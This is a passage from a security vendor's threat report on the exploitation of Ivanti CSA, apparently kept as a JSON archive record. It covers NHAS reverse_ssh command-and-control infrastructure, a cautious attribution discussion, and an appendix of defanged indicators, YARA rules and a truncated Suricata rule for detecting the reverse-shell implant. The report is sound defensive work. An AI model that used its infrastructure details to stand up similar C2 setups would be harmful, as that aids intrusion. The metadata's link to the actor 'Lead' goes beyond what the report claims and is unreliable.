ReverseSSH file times).\r\nInfrastructure\r\nWhile we had very little to pivot from, we could still gather intelligence from the C2 server of the NHAS\r\nreverse_ssh sample we analyzed:\r\nwe believe with medium to high confidence that the server associated with 195.133.52[.]87 has been\r\nsetup between June and July 2024, and was used by the same operators up to late October 2024;\r\nwe identified likely related additional infrastructure (IPs 8.218.239[.]22 and 156.251.172[.]80 ,\r\ndomain vip8806[.]mom ) which served as NHAS reverse_ssh C2, as well as associated samples.\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 18 of 23\n\nKnown C2\r\nHostname\r\nIP Address Resolution Details\r\nwww.vip8025[.]mom\r\n195.133.52[.]87\r\n(From 2024-09 to 2025-\r\n01)\r\nvip8025[.]mom registered at Namesilo (on 2024-06-\r\n07). First valid certificate for domain generated on\r\n2024-06-07. IP 195.133.52[.]87 from AS49392\r\n(ASBAXETN/LLC Baxet, RU).\r\nAt the time of the described malicious activities (in September 2024), 195.133.52[.]87 (which was both used as\r\na staging server and the resolution for the reverse_ssh sample C2 hostname) notably exposed the following\r\nservices:\r\nAvailability\r\ntimeframe\r\nTCP\r\nPort\r\nDescription\r\n2024-07-16 to\r\n2024-10-02\r\n22\r\n(SSH)\r\nOpenSSH server whose banner matched the last OpenSSH package version\r\nfor Ubuntu 20.04.\r\n2024-07-16 to\r\n2024-10-25\r\n80\r\n(HTTP)\r\n“Transfer.sh” open-source file transfer tool – which exposed staged malicious\r\nfiles.\r\n2024-07-15 to\r\n2024-10-25\r\n443\r\n(HTTP)\r\nNHAS reverse_ssh Webservice (mimicking “nginx”), with default self-signed\r\ncertificate (using the “Cloudflare” subject name) – which enabled HTTPS,\r\nTLS and WebSocket transport options for C2 communications.\r\n2024-09-02 to\r\n2024-102\r\n5003\r\nAsset Reconnaissance Lighthouse (ARL). ARL is a scanning tool which is\r\ndevelopped for a Chinese-speaking audience and offers a Web-based\r\ninterface.\r\n2024-09-02 to\r\n2024-10\r\n5010\r\nProxyPool Webservice. ProxyPool is aimed at regularly retrieving HTTP\r\nproxy servers from public lists on the Internet, and making them available\r\nthrough a Web API for later usage. ProxyPool is targeting a Chinese-speaking\r\naudience.\r\nAt the time of research in September 2024, we could not identify any other server exposing all those services. We\r\ncould however identify IP 8.218.239[.]22 , which exposed a NHAS reverse_ssh Webservice, a Transfer.sh\r\ninstance and a Ubuntu 20.04 banner. We identified a NHAS reverse_ssh sample (SHA-256\r\n00109666ef878c6d61f1882bcf66e3c9ed60943ba8bc77b66de00f594174e3bb ) using such server as C2.\r\nAdditionally, we noticed that according to private passive DNS data, both the root domain of known C2 server\r\n( vip8025[.]mom , from 2024-06-07 to 2024-07-17) and another hostname in it ( test.vip8025[.]mom , on 2024-\r\n06-07) temporarily pointed at a single IP 156.251.172[.]80 (AS40065 – CNSERVERS, US, in September\r\n2024). This IP exposed a NHAS reverse_ssh Webservice from 2024-05-27 to 2024-07-06 (on TCP port 80 then\r\n8080), for which we found an associated reverse_ssh sample (SHA-256\r\n18556a794f5d47f93d375e257fa94b9fb1088f3021cf79cc955eb4c1813a95da ).\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 19 of 23\n\nFinally, from 2024-05-17 to 2024-05-20 at least, the same IP 156.251.172[.]80 exposed an invalid TLS\r\ncertificate (SHA-1 3865e88feba340190780dd62d557d4ae04f9e6dd ) for the vip8806[.]mom domain name\r\n(registered at Namesilo on 2024-05-16), whose name pattern is strikingly similar to the known vip8025[.]mom\r\nC2 domain.\r\nAttribution: if it quacks like a duck…\r\nWe could not reliably attribute any part of the vulnerabilities exploitation nor the associated case we described to a\r\nwell-defined threat actor.\r\nFrom the wide deployment of simple Webshells that were left over, to the noisy usage of popular open-source\r\ncredentials harvesting tools, via off-the-self Go implants distribution; it seems that poorly skilled or novice\r\noperators were involved. However, the exploitation of zero-day vulnerabilities — with some like CVE-2024-8963\r\nnot appearing that trivial to spot — combined with a determinate interest for strategic information (on the case we\r\nanalyzed) contrast with the previous observations.\r\nIt is our opinion that this opposition might actually reflect a multiparty approach to vulnerabilities exploitation: a\r\nfirst party identifies vulnerabilities, a second uses them at scale to create opportunities, then accesses are\r\ndistributed to third parties which further attempt to develop targets of interest. Such model would (at least partly)\r\nfit the vulnerability management and outsourcing approach as they are notably outlined in the i-S00N leaks. It\r\nwould also explain the involvement of distinct experiences and skill sets within a single attack path.\r\nAs for a more down-to-earth attribution effort, the timely vulnerability exploitation on appliances with invariable\r\nWebshells deployment reminds us of the Citrix/NetScaler devices compromises in mid-2023 (CVE-2023-3519),\r\nwhich was loosely associated with “China-nexus actors” by Mandiant/Google.\r\nWe also cannot help but notice the numerous pointers to a Chinese-speaking audience in the tools operators\r\nemployed for the case we described. Finally, the capabilities and knowledge of the targeted organization in the\r\nsame case are aligned with strategic interests of China’s 14th Five-Year Plan. Yet, on the sole basis of the data we\r\nhave at hand, it would certainly be inappropriate to go with the duck test.\r\nConclusion: patching is not enough\r\nAs it has been observed, malicious operators could take advantage of zero-day vulnerabilities at scale and in a\r\nshort timeframe. It created such a decisive opportunity to develop accesses that it might have balanced\r\nrequirements for stealth and refinement with strategic targets.\r\nCritical vulnerabilities affecting Internet-facing and poorly monitored devices (also known as “edge” devices,\r\nsuch as some appliances, gateways, security or network devices) are not only plenty, but also appear to be\r\ninvariably and timely exploited now. They can then be exploited for years – Ivanti CSA 4.6 before Patch 512 (or\r\nISO images before 2021-12) are vulnerable to CVE-2021-44529, which was still known to be exploited in 2024.\r\nAs a result, defenders cannot just tackle vulnerabilities on such devices with patch management anymore: they\r\nhave to assume affected and exposed devices have been exploited (as they are regularly and once again\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 20 of 23\n\ndemonstrated to be), switching to invariable threat hunting, compromise research and incident response\r\napproaches.\r\nDefender may also have to start balancing vendors support terms (sometimes requiring appliances environments\r\nto be kept “as-is” for any support agreement to apply) with the malicious vulnerabilities exploitation, time-to-fix\r\nand time-to-patch realities – possibly taking their own measures to ensure direct detection and response\r\ncapabilities on relevant devices.\r\nAppendix: indicators and detection rules\r\nIndicators of compromise (IOCs)\r\nAssociated IOCs are also available on our GitHub repository.\r\nHashes (SHA-256)\r\n9f97997581f513166aae47b3664ca23c4f4ea90c24916874ff82891e2cd6e01e|NHAS reverse_shell (UPX-packed) using known C2\r\n61928ff36c5d8983853ec2f411860b97231729f047527434d3b2db8bf0b42d25|NHAS reverse_shell (UPX-packed) using known C2\r\n4c86e8c21451074a52cc8d60a262c683aaf4cb6b2634fea8efdd866ea2dbd3aa|NHAS reverse_shell (UPX-packed) using known C2\r\n074739c7ccdee5baef649b7f7cb53668109be8f7e016294b66a5d1469803e42b|NHAS reverse_shell (UPX-packed) using known C2\r\n7798b45ffc488356f7253805dc9c8d2210552bee39db9082f772185430360574|NHAS reverse_shell (UPX-packed) using known C2\r\ncae96b72244855a3d98a42bb3f65daab1cd06e9be638553e2ebf1f8a66b5cc8a|NHAS reverse_shell (corrupted) using known C2\r\nHostnames\r\nwww.vip8025[.]mom|NHAS reverse_ssh C2 (2024-09, pointing to 195.133.52[.]87)\r\nIP Addresses\r\n195.133.52[.]87|Stager and reverse_ssh C2 (2024-07 to 2024-10)\r\nPossibly associated Hashes (SHA-256)\r\n18556a794f5d47f93d375e257fa94b9fb1088f3021cf79cc955eb4c1813a95da|Likely associated (medium to high confidence)\r\n00109666ef878c6d61f1882bcf66e3c9ed60943ba8bc77b66de00f594174e3bb|Possibly associated (low confidence) NHAS rever\r\nPossibly associated Domains and Hostnames\r\nvip8025[.]mom|Pointer to likely associated (medium to high confidence) NHAS reverse_shell C2 (2024-06 to 2024-0\r\nvip8806[.]mom|Likely associated C2 server domain (2024-05)\r\ntest.vip8025[.]mom|Pointer to likely associated (medium to high confidence) NHAS reverse_shell C2 (2024-06)\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 21 of 23\n\nPossibly associated IP Addresses\r\n156.251.172[.]80|Likely associated (medium to high confidence) NHAS reverse_shell C2 (2024-05 to 2024-07)\r\n8.218.239[.]22|Possibly associated (low confidence) NHAS reverse_shell C2 (2024-09)\r\nYara rules\r\nrule nhas_reverse_shell_unpacked_large\r\n{\r\n meta:\r\n description = \"Matches unpacked NHAS reverse_ssh file samples\"\r\n references = \"TRR250201\"\r\n hash = \"18556a794f5d47f93d375e257fa94b9fb1088f3021cf79cc955eb4c1813a95da\"\r\n date = \"2024-09-24\"\r\n author = \"HarfangLab\"\r\n context = \"file\"\r\n strings:\r\n $s1 = \"/NHAS/reverse_ssh/cmd/client\" ascii\r\n $s2 = \"/handlers.runCommandWithPty\" ascii\r\n $s3 = \"/connection.RegisterChannelCallbacks\" ascii\r\n $s4 = \"/internal.RemoteForwardRequest\" ascii\r\n $s5 = \"github.com/pkg/sftp\" ascii\r\n $s6 = \"github.com/creack/pty\" ascii\r\n $s7 = \"main.Fork\" ascii fullword\r\n condition:\r\n filesize \u003e 2MB and filesize \u003c 30MB\r\n and ((uint32be(0) == 0x7F454C46) or (uint16be(0)==0x4D5A))\r\n and (5 of them)\r\n}\r\nrule nhas_reverse_shell_pe_inmem_large\r\n{\r\n meta:\r\n description = \"Matches packed NHAS reverse_ssh PE samples in-memory during execution\"\r\n references = \"TRR250201\"\r\n hash = \"7798b45ffc488356f7253805dc9c8d2210552bee39db9082f772185430360574\"\r\n date = \"2024-09-24\"\r\n author = \"HarfangLab\"\r\n context = \"memory\"\r\n strings:\r\n $s1 = \"\\\\rprichard\\\\proj\\\\winpty\\\\src\\\\agent\\\\\" ascii\r\n $s2 = \"\\\\Users\\\\mail\\\\source\\\\winpty\\\\src\\\\\" ascii\r\n $s3 = \"Successfully connnected\" ascii\r\n $s4 = \"*main.decFunc\" ascii fullword\r\n $s6 = \"keepalive-rssh@golang.org\" ascii fullword\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 22 of 23\n\n$s7 = \".(*sshFxpSetstatPacket).\" ascii\r\n condition:\r\n (all of them)\r\n}\r\nrule nhas_reverse_shell_elf_inmem_large\r\n{\r\n meta:\r\n description = \"Matches packed NHAS reverse_ssh ELF samples in-memory during execution\"\r\n references = \"TRR250201\"\r\n hash = \"9f97997581f513166aae47b3664ca23c4f4ea90c24916874ff82891e2cd6e01e\"\r\n date = \"2024-09-24\"\r\n author = \"HarfangLab\"\r\n context = \"memory\"\r\n strings:\r\n $s1 = \"/NHAS/reverse_ssh/cmd/client\" ascii\r\n $s2 = \"/handlers.runCommandWithPty\" ascii\r\n $s3 = \"/connection.RegisterChannelCallbacks\" ascii\r\n $s4 = \"/internal.RemoteForwardRequest\" ascii\r\n $s7 = \"main.Fork\" ascii fullword\r\n condition:\r\n (all of them)\r\n}\r\nSuricata rules\r\nalert tcp $EXTERNAL_NET any -\u003e $HOME_NET [80,443] (msg:\"Possible Ivanti CSA CVE-2024-8963/CVE-2024-9381 HTTP Ex\r\nSource: https://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nhttps://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/\r\nPage 23 of 23",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://harfanglab.io/insidethelab/insights-ivanti-csa-exploitation/"
	],
	"report_names": [
		"insights-ivanti-csa-exploitation"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434193,
	"ts_updated_at": 1775791431,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6b0303e92d1d83da2b8816c6df6de2fd2d48913e.pdf",
		"text": "https://archive.orkl.eu/6b0303e92d1d83da2b8816c6df6de2fd2d48913e.txt",
		"img": "https://archive.orkl.eu/6b0303e92d1d83da2b8816c6df6de2fd2d48913e.jpg"
	}
}